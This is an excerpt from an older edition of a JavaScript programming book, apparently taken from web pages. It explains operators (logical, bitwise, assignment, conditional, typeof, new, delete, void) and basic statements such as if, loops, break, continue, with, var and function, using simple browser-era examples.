The logical operators expect their operands to be boolean values, and they perform "boolean algebra" on them. In programming, they are usually used with the comparison operators to express complex comparisons that involve more than one variable.

Logical And (&&)

The && operator evaluates to true if and only if its first operand and its second operand are both true. If the first operand evaluates to false, then the result will be false, and && operator doesn't even bother to evaluate the second operand. This means that if the second operand has any side effects (such as those produced by the ++ operator) they might not occur. In general, it is best to avoid expressions like the following that combine side effects with the && operator:

(a == b) && (c++ < 10)  // increment may or may not happen

Logical Or (||)

The || operator evaluates to true if its first operand or its second operand (or both) are true. Like the && operator, the || operator doesn't evaluate its second operand when the result is determined by the first operand (i.e., if the first operand evaluates to true, then the result will be true regardless of the second operand, and so the second operand is not evaluated). This means that you should generally not use any expression with side effects as the second operand to this operator.

Logical Not (!)

The ! operator is a unary operator; it is placed before a single operand. Its purpose is to invert the boolean value of its operand. For example, if the variable a has the value true, then !a has the value false. And if p && q evaluates to false, then !(p && q) evaluates to true.

Previous | Home | Next
String Operators | Book Index | Bitwise Operators
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.7 Bitwise Operators

JavaScript: The Definitive Guide

Previous Chapter 4
Expressions and Operators 		Next

4.7 Bitwise Operators

Despite the fact that all numbers in JavaScript are floating-point, the bitwise operators require numeric operands that have integral values. They operate on these integer operands using a 32-bit integer representation instead of the equivalent floating-point representation. These operators may return NaN if used with operands which are not integers or which are too large to fit in a 32-bit integer representation. Four of these operators perform boolean algebra on the individual bits of the operands, behaving as if each bit in each operand was a boolean value and performing similar operands to the logical operators we saw earlier. The other three bitwise operators are used to shift bits left and right.

If you are not familiar with binary numbers and the binary representation of decimal integers, you can skip the operators described in this section. The purpose of these operators is not described here; they are used for low-level manipulation of binary numbers and are not commonly used in JavaScript programming.

Bitwise And (&)

The & operator performs a boolean AND operation on each bit of its integer arguments. A bit is set in the result only if the corresponding bit is set in both operands.

Bitwise Or (|)

The | operator performs a boolean OR operation on each bit of its integer arguments. A bit is set in the result if the corresponding bit is set in one or both of the operands.

Bitwise Xor (^)

The ^ operator performs a boolean "exclusive OR" operation on each bit of its integer argument. Exclusive OR means either operand one is true or operand two is true, but not both. A bit is set in the result of this operation if a corresponding bit is set in one (but not both) of the two operands.

Bitwise Not (~)

The ~ operator is a unary operator that appears before its single integer argument. It operates by reversing all bits in the operand. Because of how signed integers are represented in JavaScript, applying the ~ operator to a value is equivalent to changing its sign and subtracting 1.

Shift Left (<<)

The << operator moves all bits in its first operand to the left by the number of places specified in the second operand, which should be an integer between 1 and 31. For example, in the operation a << 1, the first bit (the ones bit) of a becomes the second bit (the twos bit), the second bit of a becomes the third, etc. A zero is used for the new first bit, and the value of the 32nd bit is lost. Shifting a value left by one position is equivalent to multiplying by 2. Shifting two positions is equivalent to multiplying by 4, and so on.

Shift Right with Sign (>>)

The >> operator moves all bits in its first operand to the right by the number of places specified in the second operand (an integer between 1 and 31). Bits that are shifted off the right are lost. The bits filled in on the left are the same as the sign bit of the original operand to preserve the sign of the result: If the first operand is positive, the result will have zeros filled in the high bits; if the first operand is negative, the result will have ones filled in the high bits. Shifting a value right one place is equivalent to dividing by two (discarding the remainder), shifting right two places is equivalent to integer division by four, and so on.

Shift Right Zero Fill (>>>)

The >>> operator is just like the >> operator, except that the bits shifted in on the left are always zero, regardless of the sign of the first operand.

Previous | Home | Next
Logical Operators | Book Index | Assignment Operators
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.8 Assignment Operators

JavaScript: The Definitive Guide

Previous Chapter 4
Expressions and Operators 		Next

4.8 Assignment Operators

As we saw in the discussion of variables in Chapter 3, Variables and Data Types, = is used in JavaScript to assign a value to a variable. For example:

i = 0
While you might not normally think of such a line of JavaScript as an expression that has a value and can be evaluated, it is in fact an expression, and technically speaking, = is an operator.

The = operator expects its left-hand operand to be a variable, or the element of an array or a property of an object, and expects its right-hand operand to be an arbitrary value of any type. The value of an assignment expression is the value of the right-hand operand. As a side effect, the = operator assigns the value on the right to the variable, element, or property on the left so that future uses of the variable, element, or property refer to the value.

Because = is defined as an operator, you can include it in more complex expressions. For example, you can assign and test a value in the same expression with code like this:

(a = b) == 0
If you do this, be sure you are clear on the difference between the = and == operators!

The assignment operator has right-to-left associativity, which means that when multiple assignment operators appear in an expression, they are evaluated from right to left. This means that you can write code like the following to assign a single value to multiple variables:

i = j = k = 0;

Remember that each assignment expression has a value that is the value of the right-hand side. So in the above code, the value of the first assignment (the rightmost one) becomes the right-hand side for the second assignment (the middle one) and this value becomes the right-hand side for the last (leftmost) assignment.

As we'll see in Chapter 7, Objects, you can use the Object.assign() method in Navigator 3.0 to override the behavior of the assignment operator.

Assignment with Operation

Besides the normal = assignment operator, JavaScript also supports a number of other assignment operators that provide a shortcut by combining assignment with some other operation. For example, the += operator performs addition and assignment. The following expression:

total += sales_tax
is equivalent to this one:

total = total + sales_tax

As you might expect, the += operator works for numbers or strings. For numeric operands, it performs addition and assignment, and for string operands, it performs concatenation and assignment.

Similar operators include -=, *=, &=, and so on. Table 4.2 lists them all. In general, the expression:

a op= b
where op is an operator, is equivalent to:

a = a op b

Table 4.2: Assignment Operators
Operator | Example | Equivalent
+= | a += b | a = a + b
-= | a -= b | a = a - b
*= | a *= b | a = a * b
/= | a /= b | a = a / b
%= | a %= b | a = a % b
<<= | a <<= b | a = a << b
>>= | a >>= b | a = a >> b
>>>= | a >>>= b | a = a >>> b
&= | a &= b | a = a & b
|= | a |= b | a = a | b
^= | a ^= b | a = a ^ b

Previous | Home | Next
Bitwise Operators | Book Index | Miscellaneous Operators
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.9 Miscellaneous Operators

JavaScript: The Definitive Guide

Previous Chapter 4
Expressions and Operators 		Next

4.9 Miscellaneous Operators

JavaScript supports a number of other miscellaneous operators, described in the sections below.

The Conditional Operator (?:)

The conditional operator is the only ternary operator (three operands) in JavaScript and is sometimes actually called the ternary operator. This operator is sometimes written ?:, although it does not appear quite that way in code. Because this operator has three operands, the first goes before the ?, the second goes between the ? and the :, and the third goes after the :. It is used like this:

x > 0 ? x*y : -x*y

The first operand of the conditional operator must have a Boolean value--usually this is the result of a comparison expression. The second and third operands may have any value. The value returned by the conditional operator depends on the Boolean value of the first operand. If that operand is true, then the value of the conditional expression is the value of the second operand. If the first operand is false, then the value is the value of the third operand.

While you can achieve similar results using the if statement, the ?: operator is a very handy shortcut in many cases. Here is a typical usage, which checks to be sure that a variable is defined, uses it if so, and provides a default value if not.

greeting = "hello " + ((name != null) ? name : "there");
This is equivalent to, but more compact than, the following if statement:

greeting = "hello ";
if (name != null)
    greeting += name;
else
    greeting += "there";

The typeof Operator

The typeof operator is available in Navigator 3.0 and Internet Explorer 3.0. typeof is an unusual operator because it is not represented by punctuation characters but instead by the typeof keyword. It is a unary operator that is placed before its single operand, which can be of any type. The value of the typeof operator is a string indicating the data type of the operand.[3]

[3] This means that typeof typeof x, where x is any value, will always yield the value "string".

Possible values are "number", "string", "boolean", "object", "function", and "undefined" for undefined values. Both arrays and objects return the "object" value. typeof may be used as follows:

typeof i
(typeof value == "string") ? "'" + value + "'" : value

Note that you can place parentheses around the operand to typeof, which will make typeof look like the name of a function rather than an operator keyword:

typeof(i)

Object Creation Operator (new)

As we saw earlier, numbers, strings, and Boolean values are represented through textual literals in JavaScript. That is, you just type their string representation into your program, and then your program can manipulate that value. As we'll see later, you can use the function keyword to define functions that your program can work with. But JavaScript supports two other data types as well--objects and arrays. Object and array values cannot simply be typed into your JavaScript programs; they must be created. The new operator is used to do this.

The new operator is one, like typeof, that is represented by a keyword rather than by special punctuation characters. This is a unary operator that appears before its operand. It has the following syntax:

new constructor
constructor must be a function-call expression (i.e., it must include an expression that refers to a function, and this function should be followed by an optional argument list in parentheses). As a special case, for this new operator only, JavaScript simplifies the grammar by allowing the parentheses to be omitted if there are no arguments in the function call. Example uses of the new operator are:

o = new Object;   // optional parentheses omitted here
d = new Date();
c = new rectangle(3.0, 4.0, 1.5, 2.75);
obj[i] = new constructors[i]();

The new operator works as follows: first, it creates a new object with no properties defined. Next, it invokes the specified constructor function, passing the specified arguments, and passing the newly created object as the value of the this keyword. The constructor function can then use the this keyword to initialize the new object in any way desired. We'll learn more about the this keyword and about constructor functions in Chapter 7, Objects.

In Navigator 3.0, you create a JavaScript array with the new Array() syntax. In Navigator 2.0, there is not an Array() constructor function defined. In this version of JavaScript, you can create an array with the Object() constructor instead. Some scripts will define their own custom Array() constructor.

We'll see more about creating and working with objects and arrays in Chapter 7, Objects and Chapter 8, Arrays.

The delete Operator

If you are a C++ programmer, then you probably expect JavaScript to have a delete operator that destroys objects created with the new operator. JavaScript does have such an operator, but it does not behave in the same way the C++ delete. In Navigator 2.0 and 3.0, delete simply sets its operand (a variable, object property, or array element) to null. You could obviously do this with an assignment statement just as easily, and in fact, delete is deprecated in Navigator 2.0 and 3.0; you should not use it at all. This mostly-useless version of the operator was created in a beta version of Navigator 2.0, and never quite got removed from the language. In Navigator 4.0, however, there is a new, non-deprecated, delete operator which is more functional--it actually deletes, or undefines a variable or object property.

Note that even this new Navigator 4.0 delete operator is not the same as the C++ delete--it simply undefines a variable or property, and does not actually delete or destroy or free up the memory associated with an object created with new. The reason that a C++-style delete is not necessary is that JavaScript provides automatic "garbage collection"--when objects and other values are no longer being used, the memory associated with them is automatically reclaimed by the system. You don't have to worry about deleting objects or freeing or releasing memory that is no longer in use. Garbage collection in JavaScript is discussed in more detail in Chapter 11, Windows and the JavaScript Name Space.

The void Operator

The void operator is supported in Navigator 3.0, but not in Internet Explorer 3.0. IE will support it in a future version.

void is a unary operator that appears before an expression with any value. The purpose of this operator is an unusual one: it always discards its operand value and simply returns an undefined value. The only occasion on which you are likely to want to do this is in a javascript: URL, in which you want to evaluate an expression for its side effects, but do not want the browser to display the value of the evaluated expression. Thus, you might use the void operator in HTML like the following:

<A HREF="javascript:void document.form1.submit();">Submit Form</A>

The Comma Operator (,)

The comma operator is a simple one. It evaluates its left argument, evaluates its right argument, and then returns the value of its right argument. Thus, this line:

i=0, j=1, k=2;
is equivalent to:

i = 0;
j = 1;
k = 2;

This strange operator is useful only in a few limited circumstances in which you need to evaluate several independent expressions with side effects in a situation where only a single expression is allowed. In practice, the comma operator is only frequently used in conjunction with the for loop statement, which we'll see later in Chapter 5, Statements.

Array and Object Access Operators

As noted briefly in Chapter 3, Variables and Data Types, you can access elements of an array using square brackets [], and you can access elements of an object using a dot (.); both of these are treated as operators in JavaScript.

The . operator expects an object as its left operand, and the name of an object property or method as the right operand. This right operand should not be a string or a variable that contains a string, but should be the literal name of the property, without quotes of any kind. Here are some examples:

document.lastModified
navigator.appName
frames[0].length
document.write("hello world")

If the specified property does not exist in the object, JavaScript does not issue an error, but instead simply returns the special undefined value as the value of the expression.

Most operators allow arbitrary expressions for either operand, as long as the type of the operand is suitable. The . operator is an exception: the right-hand operand must be a literal property name. Nothing else is allowed.

The [] operator allows access to array elements and also to object properties, and it does so without the restrictions that the . operator places on the right-hand operand. If the first operand (which goes before the left bracket) refers to an array, then the second operand (which goes between the brackets) can be an arbitrary expression that evaluates to an integer. For example:

frames[1]
document.forms[i + j]
document.forms[i].elements[j++]

If the first operand to the [] operator is a reference to an object, on the other hand, then the second operand may be an arbitrary expression that evaluates to a string that names a property of the object. Note that in this case, the second operand is a string, not a literal name. It should be a constant in quotes, or a variable or expression that refers to a string. This works like associative arrays in the Perl and awk programming languages. For example:

document["lastModified"]
frames[0]['length']
data["val" + i]

The [] operator is usually used to access the elements of an array. It is less convenient than the . operator for accessing properties of an object because of the need to quote the name of the property. When an object is used as an associative array, however, and the property names are dynamically generated, then the . operator cannot be used, and only the [] operator will do. This is commonly the case when you use the for/in loop, which will be introduced in Chapter 5, Statements. For example, the following JavaScript code uses a for/in loop and the [] operator to print out the name and value of all properties f in an object o:

for (f in o) {
    document.write('o.' + f + ' = ' + o[f]);
    document.write('<BR>');
}

Function Call Operator

The () operator is used to invoke functions in JavaScript. This is an unusual operator in that it does not have a fixed number of operands. The first operand is always the name of a function or an expression that refers to a function. This is followed by the left parenthesis and any number of additional operands, which may be arbitrary expressions, each separated from the next with a comma. The right parenthesis follows the final operand. The () operator evaluates each of its operands, and invokes the function specified by the first, with the value of the remaining operands passed as arguments. Examples:

document.close()
Math.sin(x)
alert("Welcome " + name)
Date.UTC(99, 11, 31, 23, 59, 59)
funcs[i].f(funcs[i].args[0], funcs[i].args[1])

Previous | Home | Next
Assignment Operators | Book Index | Statements
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] Statements

JavaScript: The Definitive Guide

Previous Chapter 5 Next

5. Statements

Contents:

Select a new section and then directly to it:

As we saw in the last chapter, expressions are JavaScript "phrases" that can be evaluated to yield a value. Operators within an expression may have "side effects," but in general, expressions don't "do" anything. To make something happen, you use a JavaScript statement, which is akin to a complete sentence or command.

A JavaScript program is simply a collection of statements. Statements usually end with a semicolon. In fact, if you place each statement on a line by itself, you may omit the semicolon. There are circumstances in which you are required to use the semicolon, however, so it is a good idea to get in the habit of using it everywhere.

The following sections describe the various statements in JavaScript and explain their syntax.

5.1 Expression Statements

The simplest kind of statements in JavaScript are expressions that have side effects. We've seen this sort of statement in the section on operators in Chapter 4, Expressions and Operators. One major category of these are assignment statements. For example:

s = "Hello " + name;
i *= 3;

Related to assignment statements are the increment and decrement operators, ++ and --. These have the side effect of changing a variable value, just as if an assignment had been performed:

counter++;

Function calls are another major category of expression statements. For example:

alert("Welcome, " + name);
window.close();

These functions calls are expressions, but also produce an effect on the web browser, and so they are also statements. If a function does not have any side effects, then there is no sense in calling it, unless it is part of an assignment statement. So, for example, you wouldn't just compute a cosine and discard the result:

Math.cos(x);

Instead, you'd compute the value and assign it to a variable for future use:

cx = Math.cos(x);

Previous | Home | Next
Miscellaneous Operators | Book Index | Compound Statements
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.2 Compound Statements

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.2 Compound Statements

Earlier, we saw that the comma operator can be used to combine a number of expressions into a single expression. JavaScript also has a way to combine a number of statements into a single statement, or statement block. This is done simply by enclosing any number of statements within curly braces. Thus, the following lines act as a single statement and can be used anywhere that JavaScript expects a single statement.

{
    x = Math.PI;
    cx = Math.cos(x);
    alert("cos(" + x + ") = " + cx);
}

Note that although this statement block acts as a single statement, it does not end with a semicolon. The primitive statements within the block end in semicolons, but the block itself does not.

Combining expressions with the comma operator is an infrequently used technique in JavaScript. On the other hand, combining statements into larger statement blocks is extremely common. As we'll see in the following sections, a number of JavaScript statements themselves contain statements (just as expressions can contain other expressions); these statements are compound statements. Formal JavaScript syntax specifies that these compound statements contain a single substatement. Using statement blocks, you can place any number of statements within this single allowed substatement.

Previous | Home | Next
Expression Statements | Book Index | if
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.3 if

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.3 if

The if statement is the fundamental "control statement" that allows JavaScript to "make decisions," or to execute statements conditionally. This statement has two forms. The first is:

if (expression)
    statement

In this form, the expression is evaluated. If it is true, then statement is executed. If the expression is false, then statement is not executed. For example:

if (name == null)
    name = "John Doe";

Note that the parentheses around the expression are a required part of the syntax for the if statement. Although they look extraneous, they are actually a required part of the complete statement.

As mentioned above, we can always replace a single statement with a statement block. So the if statement might also look like this:

if ((address == null) || (address == "")) {
    address = "undefined";
    alert("Please specify a mailing address.");
}

Note that the indentation used in these examples is not mandatory. Extra spaces and tabs are ignored in JavaScript and since we used semicolons after all the primitive statements, these examples could be written all on one line if we wanted to. Using line breaks and indentation as shown here, however, makes the code easier to read and understand.

The second form of the if statement introduces an else clause that is executed when the expression is false. Its syntax is:

if (expression)
    statement1
else
    statement2

In this form of the statement, the expression is evaluated, and if it is true, then statement1 is executed; otherwise statement2 is executed. For example:

if (name != null)
    alert("Hello " + name + "\nWelcome to my home page.");
else {
    name = prompt("Welcome!\n What is your name?");
    alert("Hello " + name);
}

When you have nested if statements with else clauses, some caution is required to ensure that the else clause goes with the appropriate if statement. Consider the following lines:

i = j = 1;
k = 2;
if (i == j)
    if (j == k)
        document.write("i equals k");
else
    document.write("i doesn't equal j");    // WRONG!!

In this example, the inner if statement forms the single statement allowed by the syntax of the outer if statement. Unfortunately, it is not clear (except from the hint given by the indentation) which if the else goes with. And in this example, the indenting "hint" is wrong, because a JavaScript interpreter will actually interpret the above as:

if (i == j)
{
    if (j == k)
        document.write("i equals k");
    else
        document.write("i doesn't equal j");    // OOPS!
}

The rule in JavaScript (as in most programming languages) is that an else clause is part of the nearest if statement. To make this example less ambiguous and easier to read, understand, maintain, and debug, you should use curly braces:

if (i == j)
{
    if (j == k) {
        document.write("i equals k");
    }
}
else { // what a difference the location of a curly brace makes!
    document.write("i doesn't equal j");
}

Previous | Home | Next
Compound Statements | Book Index | while
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.4 while

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.4 while

Just as the if statement is the basic control statement that allows JavaScript to "make decisions," the while statement is the basic statement that allows JavaScript to perform repetitive actions. It has the following syntax:

while (expression)
    statement

The while statement works like this: first, the expression is evaluated. If it is false, JavaScript moves on to the next statement in the program. If it is true, then statement is executed, and expression is evaluated again. Again, if the value of expression is false, then JavaScript moves on to the next statement in the program; otherwise it executes the statement that forms the "body" of the loop. This cycle continues until the expression evaluates to false, at which point the while statement ends and JavaScript moves on. Note that you can create an infinite loop with the syntax while(true).

You usually do not want JavaScript to perform exactly the same operation over and over again, so in almost all loops, there are one or more variables that change with each iteration of the loop. Since the variables change, the actions performed by executing statement may differ each time through the loop. Furthermore, if the changing variable or variables are involved in the expression, then the value of the expression may be different each time through the loop. This is important, or an expression that starts off true would never change, and the loop would never end! Here is an example while loop:

count = 0;
while (count < 10) {
    document.write(count + "<br>");
    count++;
}

As you can see, the variable count starts off at 0 in this example, and is incremented each time the body of the loop runs. Once the loop has executed ten times, the expression becomes false (i.e., the variable count is no longer less than 10), the while statement finishes, and JavaScript can move on to the next statement in the program. Most loops will have a counter variable like count. The variable names i, j, and k are commonly used as a loop counters, though you should use more descriptive names if it makes your code easier to understand.

Previous | Home | Next
if | Book Index | for
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.5 for

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.5 for

The for statement is a loop that is often more convenient than the while statement. The for statement takes advantage of a pattern common to most loops (including the while loop example above). Most loops have a counter variable of some kind. This variable is initialized before the loop starts. Then it is tested as part of the expression evaluated before each iteration of the loop. Finally, the counter variable is incremented or otherwise updated at the end of the loop body just before the expression is evaluated again.

The initialization, the test, and the update are the three crucial manipulations of a loop variable, and the for statement combines these three and makes them an explicit part of the loop syntax. This makes it especially easy to understand what a for loop is doing, and prevents mistakes such as forgetting to initialize or increment the loop variable. The syntax of the for statement is:

for(initialize ; test ; increment)
    statement

The simplest way to explain what this for loop does is to show the equivalent while loop:[1]

[1] As we'll see when we consider the continue statement, this while loop is not an exact equivalent to the for loop.

initialize;
while(test) {
    statement
    increment;
}

That is, the initialize expression is evaluated once, before the loop begins. To be useful, this is an expression with side effects, usually an assignment. The test expression is performed before each iteration and controls whether the body of the loop is executed. If the test expression is true, then the statement that is the body of the loop is executed. Finally, the increment expression is evaluated. Again, this must be an expression with side effects in order to be useful. Generally it will be an assignment expression or will use the ++ or -- operators.

The example while loop of the previous section can be rewritten as the following for loop, which counts from 0 to 9:

for(count = 0 ; count < 10 ; count++)
    document.write(count + "<br>");

Notice how this syntax places all the important information about the loop variable on a single line, which makes it very clear how the loop will execute. Also note that placing the increment expression in the for statement itself simplifies the body of the loop to a single statement, and we don't even need to use curly braces to produce a statement block.

Loops can become a lot more complex than these simple examples, of course, and sometimes there will be more than one variable changing with each iteration of the loop. This is the only place that the comma operator is commonly used in JavaScript--it provides a way to combine multiple initialization and increment expressions into a single expression suitable for use in a for loop. For example:

for(i = 0, j = 10 ; i < 10 ; i++, j--)
    sum += i * j;

Previous | Home | Next
while | Book Index | for...in
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.6 for...in

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.6 for...in

The for keyword is used in two ways in JavaScript. We've just seen how it is used in the for loop. It is also used in the for/in statement. This statement is a somewhat different kind of loop with the following syntax:

for (variable in object)
    statement

The variable should be the name of a variable, or should be an element of an array or a property of an object; it should be something suitable as the left-hand side of an assignment expression. object is the name of an object, or an expression that evaluates to an object. As usual, the statement is a primitive statement or statement block that forms the body of the loop.

You can loop through the elements of an array by simply incrementing an index variable each time through a while or for loop. The for/in statement provides a way to loop through the properties of an object. The body of the for/in loop is executed once for each property of object. Before the body of the loop is executed, the name of one of the object's properties is assigned to variable, as a string. Within the body of the loop, you can use this variable to look up the value of the object's property with the [] operator. For example, the following for/in loop prints out the name and value of each property of an object:

for (prop in my_object) {
    document.write("name: " + prop + "; value: " + my_object[prop], "<br>");
}

The for/in loop does not specify in what order the properties of an object will be assigned to the variable. There is no way to tell in advance, and the behavior may differ between implementations or versions of JavaScript.

The for/in loop does not actually loop through all possible properties of all objects. The rules below specify exactly which properties the statement does list and which it does not in Navigator 3.0. Internet Explorer may use somewhat different rules:

  • It lists any user-defined properties or methods explicitly set in a user-defined or system object.

  • In general, it lists the properties, but not the methods, of built-in and HTML objects. Certain properties, such as the constructor property are never listed, and some built-in objects may have object-specific listing behavior. This object-specific behavior may differ between Navigator and Internet Explorer.

  • It lists all defined indexes of user-defined arrays, but does not list the length property of those arrays.

  • It lists the length property and indices of built-in and HTML arrays.

  • It does not list properties of functions, methods, or constructors.

  • It does not list the constants defined by the Math and Number objects, such as Math.PI. (Since Math and Number are constructor functions, this follows from the above point.)

  • It does not list object properties or methods implicitly defined in an object with the var or function keywords. (In client-side JavaScript, defining a variable with var is the same as defining a property of the same name in the current Window object, except for the different treatment of these two cases by the for/in loop.) Properties implicitly defined by the var keyword at any time will never again be listed, even if the property is afterwards directly and explicitly set in the object. This last is not true for the function keyword.

Previous | Home | Next
for | Book Index | break
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.7 break

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.7 break

The break statement has a very simple syntax:

break;

This statement is valid only within the body of a while, for, or for/in loop. Using it outside of a loop is a syntax error. When executed, the break statement exits the currently running loop. This statement is usually used to exit a loop prematurely when, for whatever reason (perhaps when an error condition arises), there is no longer any need to complete the loop. The following example searches the elements of an array for a particular value. If the value is found, a break statement terminates the loop:

for(i = 0; i < a.length; i++) {
    if (a[i] == target)
        break;
}

Previous | Home | Next
for...in | Book Index | continue
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.8 continue

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.8 continue

The continue statement is related to the break statement and has a syntax that is just as simple:

continue;

Like the break statement, continue can be used only within the body of a while, for, or for/in loop. Using it anywhere else will cause a syntax error.

When the continue statement is executed, the current iteration of the enclosing loop is terminated, and the next iteration begins. In a while loop, the specified expression is tested again, and if true, the loop body is executed. In a for loop, the increment expression is evaluated, then the test expression is tested again to determine if another iteration should be done. In a for/in loop, the loop starts over with the next property name being assigned to the specified variable.

The following example shows the continue statement being used to abort the current iteration of a loop when an error occurs:

for(i = 0; i < data.length; i++) {
    if (data[i] == null)
        continue;  // can't proceed with undefined data
    total += data[i];
}

Note the difference in behavior of the continue statement for the while and for loops--a while loop returns directly to its condition, but a for loop first evaluates it increment expression, and then returns to its condition. Above, in the discussion of the for loop, we explained the behavior this loop in terms of an "equivalent" while loop. But because the continue statement behaves differently for these two loops it is never possible to perfectly simulate a for loop with a while loop.

Previous | Home | Next
break | Book Index | with
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.9 with

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.9 with

JavaScript interfaces with the web browser through an "object hierarchy" that contains quite a few arrays nested within objects and objects nested within arrays. In order to refer to the components that make up a web page, you may find yourself referring to objects with cumbersome expressions like the following:

frames[1].document.forms[0].address_field.value

The with statement provides a way to simplify expressions like this one, and reduce your typing. It has the following syntax:

with (object)
    statement

object is an expression that evaluates to an object. This specified object becomes the default object for all expressions in statement, which is a primitive statement or statement block. Any time an identifier appears within statement, that identifier is looked up as a property of object first. If the identifier is defined as a property of object, then this is the definition used. If the identifier is not defined there, then JavaScript looks up its value as it normally would.

For example, you might use the with statement to simplify the following code:

x = Math.sin(i * Math.PI / 20);
y = Math.cos(i * Math.PI / 30);
Using with, you might write:

with(Math) {
    x = sin(i * PI / 20);
    y = cos(i * PI / 30);
}

Similarly, instead of calling document.write() over and over again in a JavaScript program, you could use a with(document) statement, and then invoke write() over and over again instead.

You can nest with statements arbitrarily. Note that the object expression in a nested with statement may itself be interpreted depending on the object in a containing with statement.

If the object in a with statement contains properties that have the same name as top-level variables, the with statement effectively hides the top-level variable--when you use the name of that variable you now refer to the object's property instead. If you need to explicitly refer to a hidden top-level variable var, you can usually use this syntax:

top.var

We'll see why this works when we study the Window object in Chapter 11, Windows and the JavaScript Name Space. Note that this technique will not work if top is the name of a property of the object in any enclosing with statement.

It is important to understand that the with statement only works with properties that already exist in the specified object. If you assign a value to a variable that does not exist as a property of the specified object, then that property is not created in the object. Instead, JavaScript searches the containing with statements, if any, for a property with that name, and then searches for a top-level variable with that name. If no such property or variable is found, then a new top-level variable is created. The rule to remember is that new properties cannot be added to an object if you refer to the object implicitly through a with statement. To create a new property in the object, you must refer to it explicitly.

To really understand how the with statement works, we need to briefly consider how variables are looked up in JavaScript. We'll return to this topic in detail in Chapter 11, Windows and the JavaScript Name Space. Suppose JavaScript needs to look up the value of the name n. It proceeds as follows:

  • If n is referred to within a with statement, then it first checks to see if n is a property of the object of that statement. If so, it uses the value of this property.

  • If the first enclosing with statement does not provide a definition for n, then JavaScript checks any other enclosing with statements in order (remember that they can be nested to any depth). If any of objects specified in these statements define a property n, then that definition is used.

  • If the reference to n occurs within a function, and no enclosing with statements yield a definition for it, then JavaScript checks to see if the function has any local variables or arguments named n. If so, it uses this value.

  • Finally, if no definition for n has been found then JavaScript checks to see if there is a top-level variable named n, and uses it if so.

  • If n is not defined in any of these places, then an error occurs.

Previous | Home | Next
continue | Book Index | var
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.10 var

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.10 var

We saw the var statement in Chapter 3, Variables and Data Types; it provides a way to explicitly declare a variable or variables. The syntax of this statement is:

var name_1 [ = value_1] [ ..., name_n [= value_n]]

That is: the var keyword is followed by a variable name and an optional initial value, or it is followed by a comma-separated list of variable names, each of which can have an initial value specified. The initial values are specified with the = operator and an arbitrary expression. For example:

var i;
var j = 0;
var x = 2.34, y = 4.12, r, theta;

If no initial value is specified for a variable with the var statement, then the variable will be defined, but its initial value will be the special JavaScript undefined value.

The var statement should always be used when declaring local variables within functions. Otherwise, you run the risk of overwriting a top-level variable of the same name. For top-level variables, the var statement is not required. Nevertheless, it is a good programming practice to use the var statement whenever you create a new variable. It is also a good practice to group your variable declarations together at the top of the program or at the top of a function.

Note that the var statement can also legally appear as part of the for and for/in loops, in order to declare the loop variable as part of the loop itself. For example:

for(var i = 0; i < 10; i++) document.write(i, "<BR>");
for(var i = 0, j=10; i < 10; i++,j--) document.write(i*j, "<BR>");
for(var i in o) document.write(i, "<BR>");
A variable declared in a loop in this way is not local to the loop as it would be in C++ or Java; its scope is the same as it would be if it had been declared outside of the loop.

Previous | Home | Next
with | Book Index | function
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.11 function

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.11 function

Earlier, we saw that the () operator is used to invoke a function. Before a function can be invoked, however, it must be defined (except for those that are predefined by JavaScript); the function statement is used to define a new function. It has the following syntax:

function funcname([arg1 [,arg2 [..., argn]]]) {
    statements
}

funcname is the name of the function that is being defined. This must be a literal name, not a string or an expression. arg1, arg2, and so on to argn are a comma-separated list of any number (including zero) of argument names for the function. These are also literal names, not strings or expressions. These names can be used as variables within the body of the function; when the function is executed, they will be assigned the values specified in the function call expression.

The function statement differs from statements like the while and for loops. In those loops, the body of the loop is a single statement, which can be a single primitive statement or a block of statements enclosed in curly braces. For the function statement, however, curly braces are a required part of the syntax, and any number of JavaScript statements may be contained within. Even if the body of a function consists of only a single statement, the curly braces must still be used. Here are some example function definitions:

function welcome() { alert("Welcome to my home page!"); }
function print(msg) {
    document.write(msg, "<br>");
}
function hypotenuse(x, y) {
    return Math.sqrt(x*x + y*y);     // return is documented below
}
function factorial(n) {              // a recursive function
    if (n <= 1) return 1;
    else return n * factorial(n - 1);
}

The most important way that the function statement differs from other statements is that the statements that form the body of the function are not executed. Instead, they are stored as the definition of a new function named funcname, and may be executed at any later time with the () function call operator.

We'll learn more about functions in Chapter 6, Functions.

Previous | Home | Next
var | Book Index | return
